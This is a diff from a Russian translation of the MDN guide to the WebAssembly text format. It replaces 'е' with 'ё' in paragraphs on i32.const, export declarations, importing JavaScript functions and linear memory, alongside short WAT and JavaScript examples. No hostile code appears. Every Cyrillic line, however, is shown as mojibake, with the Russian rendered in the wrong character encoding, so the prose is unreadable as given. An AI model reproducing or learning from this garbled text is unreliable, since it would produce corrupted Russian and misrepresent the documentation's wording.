-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ <code>i32.const</code> создаСт 32-разрядноС Ρ†Π΅Π»ΠΎΠ΅ число ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π² стСк. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ <code>i32</code> Π½Π° любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ доступный Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ (здСсь ΠΌΡ‹ установили Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>42</code>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ <code>i32.const</code> создаёт 32-разрядноС Ρ†Π΅Π»ΠΎΠ΅ число ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π² стСк. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ <code>i32</code> Π½Π° любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ доступный Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ (здСсь ΠΌΡ‹ установили Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>42</code>).</p>
</div>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΡΠ΅ΠΊΡ†ΠΈΡŽ объявлСния экспорта <code>(export β€œgetAnswerPlus1”)</code>, которая находится сразу послС объявлСния Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>func</code>. Π­Ρ‚ΠΎ сокращСнный способ объявлСния, совмСщСнный с ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΡΠ΅ΠΊΡ†ΠΈΡŽ объявлСния экспорта <code>(export β€œgetAnswerPlus1”)</code>, которая находится сразу послС объявлСния Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>func</code>. Π­Ρ‚ΠΎ сокращённый способ объявлСния, совмСщённый с ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ это эквивалСнтно Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ объявлСния экспорта Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π² любом мСстС модуля, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -201,12 +201,12 @@ translation_of: WebAssembly/Understanding_the_text_format
});</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° GitHub ΠΊΠ°ΠΊ <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/call.html">call.html</a> (смотритС Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/webassembly-examples/understanding-text-format/call.html">Π²ΠΆΠΈΠ²ΡƒΡŽ</a>). Π•Ρ‰Π΅ посмотритС <a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">wasm-utils.js</a> для ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>fetchAndInstantiate()</code>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° GitHub ΠΊΠ°ΠΊ <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/call.html">call.html</a> (смотритС Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/webassembly-examples/understanding-text-format/call.html">Π²ΠΆΠΈΠ²ΡƒΡŽ</a>). Π•Ρ‰Ρ‘ посмотритС <a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">wasm-utils.js</a> для ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>fetchAndInstantiate()</code>.</p>
</div>
<h3 id="Π˜ΠΌΠΏΠΎΡ€Ρ‚_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ_ΠΈΠ·_JavaScript">Π˜ΠΌΠΏΠΎΡ€Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ· JavaScript</h3>
-<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ JavaScript, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ экспортируСмыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ модуля WebAssembly, Π½ΠΎ ΠΊΠ°ΠΊ насчСт WebAssembly модуля, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript? WebAssembly Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠ°ΠΊΠΈΡ… Π»ΠΈΠ±ΠΎ Π·Π½Π°Π½ΠΈΠΉ ΠΎ внСшнСм ΠΊΠΎΠ΄Π΅ JavaScript, Π½ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒΒ  способ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ· JavaScript ΠΈΠ»ΠΈ wasm. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ JavaScript, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ экспортируСмыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ модуля WebAssembly, Π½ΠΎ ΠΊΠ°ΠΊ насчёт WebAssembly модуля, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript? WebAssembly Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠ°ΠΊΠΈΡ… Π»ΠΈΠ±ΠΎ Π·Π½Π°Π½ΠΈΠΉ ΠΎ внСшнСм ΠΊΠΎΠ΄Π΅ JavaScript, Π½ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒΒ  способ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ· JavaScript ΠΈΠ»ΠΈ wasm. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre>(module
(import "console" "log" (func $log (param i32)))
@@ -214,13 +214,13 @@ translation_of: WebAssembly/Understanding_the_text_format
i32.const 13
call $log))</pre>
-<p>Π’ инструкции ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Π² ΠΌΠΎΠ΄ΡƒΠ»ΡŒ WebAssembly ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π΄Π²ΡƒΡ…ΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅ пространство ΠΈΠΌΠ΅Π½, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>log</code> ΠΈΠ· модуля <code>console</code>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ экспортируСмая функция <code>logIt</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ <code>call</code>, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅.</p>
+<p>Π’ инструкции ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Π² ΠΌΠΎΠ΄ΡƒΠ»ΡŒ WebAssembly ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π΄Π²ΡƒΡ…ΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅ пространство ΠΈΠΌΡ‘Π½, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>log</code> ΠΈΠ· модуля <code>console</code>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ экспортируСмая функция <code>logIt</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ <code>call</code>, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅.</p>
<p>Π˜ΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ функциям: ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ сигнатуру, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ WebAssembly провСряСт статичСски, ΠΈΠΌ присваиваСтся индСкс (Π² мСсто ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎΒ  ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ имя) ΠΈ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ способом.</p>
<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ понятия сигнатуры, поэтому Π»ΡŽΠ±ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ JavaScript ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ нСзависимо ΠΎΡ‚ объявлСнной сигнатуры ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°. Если ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ сторона (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("WebAssembly.instantiate()")}}) Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ свойство.</p>
-<p>Для ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π²Ρ‹ΡˆΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (Π½Π°Π·ΠΎΠ²Π΅ΠΌ Π΅Π³ΠΎ <code>importObject</code>), Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΒ  ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ свойство <code>importObject.console.log</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ JavaScript.</p>
+<p>Для ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π²Ρ‹ΡˆΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ Π΅Π³ΠΎ <code>importObject</code>), Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΒ  ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ свойство <code>importObject.console.log</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ JavaScript.</p>
<p>Код Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -264,16 +264,16 @@ WebAssembly.instantiateStreaming(fetch('logger.wasm'), importObject)
<h3 id="ΠŸΠ°ΠΌΡΡ‚ΡŒ_WebAssembly">ΠŸΠ°ΠΌΡΡ‚ΡŒ WebAssembly</h3>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ - довольно уТасная функция вСдСния ΠΆΡƒΡ€Π½Π°Π»Π°: ΠΎΠ½Π° ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Ρ†Π΅Π»ΠΎΠ΅ число! Π§Ρ‚ΠΎ Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку? Для Ρ€Π°Π±ΠΎΡ‚Ρ‹ со строками ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π±ΠΎΠ»Π΅Π΅ слоТными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… WebAssembly прСдоставляСт <strong>Π»ΠΈΠ½Π΅ΠΉΠ½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ</strong>. Богласно Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ WebAssembly, линСйная ΠΏΠ°ΠΌΡΡ‚ΡŒ - это просто большой массив Π±Π°ΠΉΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ. WebAssembly ΠΊΠΎΠ΄ содСрТит ряд инструкций, Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ <code>i32.load</code> ΠΈ <code>i32.store</code> для чтСния ΠΈ записи Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ· <a href="http://webassembly.org/docs/semantics/#linear-memory">Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти</a>.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ - довольно уТасная функция вСдСния ΠΆΡƒΡ€Π½Π°Π»Π°: ΠΎΠ½Π° ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Ρ†Π΅Π»ΠΎΠ΅ число! Π§Ρ‚ΠΎ Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку? Для Ρ€Π°Π±ΠΎΡ‚Ρ‹ со строками ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π±ΠΎΠ»Π΅Π΅ слоТными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… WebAssembly прСдоставляСт <strong>Π»ΠΈΠ½Π΅ΠΉΠ½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ</strong>. Богласно Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ WebAssembly, линСйная ΠΏΠ°ΠΌΡΡ‚ΡŒ - это просто большой массив Π±Π°ΠΉΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ. WebAssembly ΠΊΠΎΠ΄ содСрТит ряд инструкций, Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ <code>i32.load</code> ΠΈ <code>i32.store</code> для чтСния ΠΈ записи Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ· <a href="http://webassembly.org/docs/semantics/#linear-memory">Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти</a>.</p>
<p>Π‘ΠΎ стороны JavaScript, линСйная ΠΏΠ°ΠΌΡΡ‚ΡŒ ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ большого (Ρ€Π°ΡΡˆΠΈΡ€ΡΡŽΡ‰Π΅Π³ΠΎΡΡ) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("ArrayBuffer")}}.</p>
<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, строка - это просто ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π±Π°ΠΉΡ‚ΠΎΠ² Π³Π΄Π΅-Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ этой Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ записали Π½ΡƒΠΆΠ½ΡƒΡŽ строку Π±Π°ΠΉΡ‚ΠΎΠ² Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ; ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΄ΠΈΠΌ эту строку Π² JavaScript?<br>
ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠΌ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ экзСмпляры(ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹) Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти WebAssembly Ρ‡Π΅Ρ€Π΅Π· конструктор {{jsxref("WebAssembly.Memory()")}} ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ экзСмпляру памяти (Π² настоящСС врСмя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ экзСмпляр памяти Π½Π° экзСмпляр модуля), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ экзСмпляра модуля. ЭкзСмпляр памяти ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">buffer</a></code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ArrayBuffer</code>, прСдоставляя всю Π»ΠΈΠ½Π΅ΠΉΠ½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ модуля.</p>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ памяти ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°ΡΡˆΠΈΡ€ΡΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow">Memory.grow()</a></code> ΠΈΠ· JavaScript. Когда происходит Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ArrayBuffer</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ ΠΎΠ½ отсоСдиняСтся. ВмСсто Π½Π΅Π³ΠΎ создаСтся Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ArrayBuffer</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Π½ΠΎΠ²ΡƒΡŽ, ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ. ΠŸΠΎΠ»ΡŒΠ·ΡƒΡΡΡŒ этими возмоТностями ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ строку Π²Β  JavaScript, Π΅Ρ‘ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ индСкс ΠΈ Π΅Ρ‘ Π΄Π»ΠΈΠ½Ρƒ Π² Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ памяти.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ памяти ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°ΡΡˆΠΈΡ€ΡΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow">Memory.grow()</a></code> ΠΈΠ· JavaScript. Когда происходит Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ArrayBuffer</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ ΠΎΠ½ отсоСдиняСтся. ВмСсто Π½Π΅Π³ΠΎ создаётся Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ArrayBuffer</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Π½ΠΎΠ²ΡƒΡŽ, ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ. 